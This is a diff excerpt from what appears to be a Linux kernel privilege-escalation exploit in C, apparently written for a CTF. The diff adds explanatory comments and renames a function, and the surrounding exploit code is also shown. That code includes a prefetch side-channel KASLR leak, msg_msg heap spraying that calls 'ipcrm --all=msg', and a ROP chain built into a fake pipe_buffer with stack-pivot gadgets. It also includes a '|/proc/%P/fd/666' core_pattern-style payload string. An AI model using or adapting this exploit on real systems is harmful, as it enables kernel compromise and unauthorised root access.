@@ -185,8 +185,8 @@ size_t mostFrequent(size_t *arr, size_t n)
185
185
186
186
return element_having_max_freq ;
187
187
}
188
-
189
- // EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)
188
+ // Since there no KPTI on the remote server (as its CPU is not affected by Meltdown, so the kernel does not turn on KPTI)
189
+ // so this is actually prefetch attack. ref: https://gruss.cc/files/prefetch.pdf
190
190
void leak ()
191
191
{
192
192
size_t kbase [0x8 ] = {0 };
@@ -224,6 +224,7 @@ int setup_msg()
224
224
printf ("setup msg start..\n" );
225
225
memset (& msg .mtext [0 ], 0 , 0x2000 );
226
226
msg .mtype = 1 ;
227
+ // Removes all of the current user's previously allocated msg_msg structs to aviod reach limits.
227
228
system ("ipcrm --all=msg" );
228
229
for (int i = 0 ; i < NUM_QUEUE ; i ++ )
229
230
{
@@ -284,19 +285,19 @@ int setup_msg()
284
285
285
286
char user_buf [] = "|/proc/%P/fd/666" ;
286
287
#define ROP (idx ) ((size_t *)rop)[(idx) + (START_ROP / 8)]
287
- int build_rop (size_t rop_addr , char * rop )
288
+ int build_fake_pipe_buffer_with_rop_chain (size_t rop_addr , char * rop )
288
289
{
289
290
* (size_t * )& rop [0x8 ] = POP_RDI ;
290
291
* (size_t * )& rop [0x18 ] = POP_RSP ;
291
292
* (size_t * )& rop [0x20 ] = rop_addr + START_ROP ;
292
293
293
294
#ifdef LTS
294
- * (size_t * )& rop [0x10 ] = rop_addr + 0x30 ;
295
- * (size_t * )& rop [0x38 ] = PIVOT3 ;
295
+ * (size_t * )& rop [0x10 ] = rop_addr + 0x30 ; //set pipe_buffer.ops
296
+ * (size_t * )& rop [0x38 ] = PIVOT3 ; //set pipe_buf_operations.release
296
297
* (size_t * )& rop [0x2e ] = PIVOT2 ;
297
298
#else
298
- * (size_t * )& rop [0x10 ] = rop_addr + 0x20 ;
299
- * (size_t * )& rop [0x28 ] = PIVOT3 ;
299
+ * (size_t * )& rop [0x10 ] = rop_addr + 0x20 ; //set pipe_buffer.ops
300
+ * (size_t * )& rop [0x28 ] = PIVOT3 ; //set pipe_buf_operations.release
300
301
* (size_t * )& rop [0x39 ] = PIVOT2 ;
301
302
#endif
302
303
@@ -462,7 +463,7 @@ int corrupted_msg()
462
463
463
464
// prepare fake pipe_buffer and rop payload
464
465
msg .mtype = 6 ;
465
- build_rop (known_addr_pipe , & msg .mtext [0x1000 - 0x30 - 8 ]);
466
+ build_fake_pipe_buffer_with_rop_chain (known_addr_pipe , & msg .mtext [0x1000 - 0x30 - 8 ]);
466
467
for (int j = 0 ; j < NUM_QUEUE_RESV ; j ++ )
467
468
{
468
469
// overwrite pipe_buffer
0 commit comments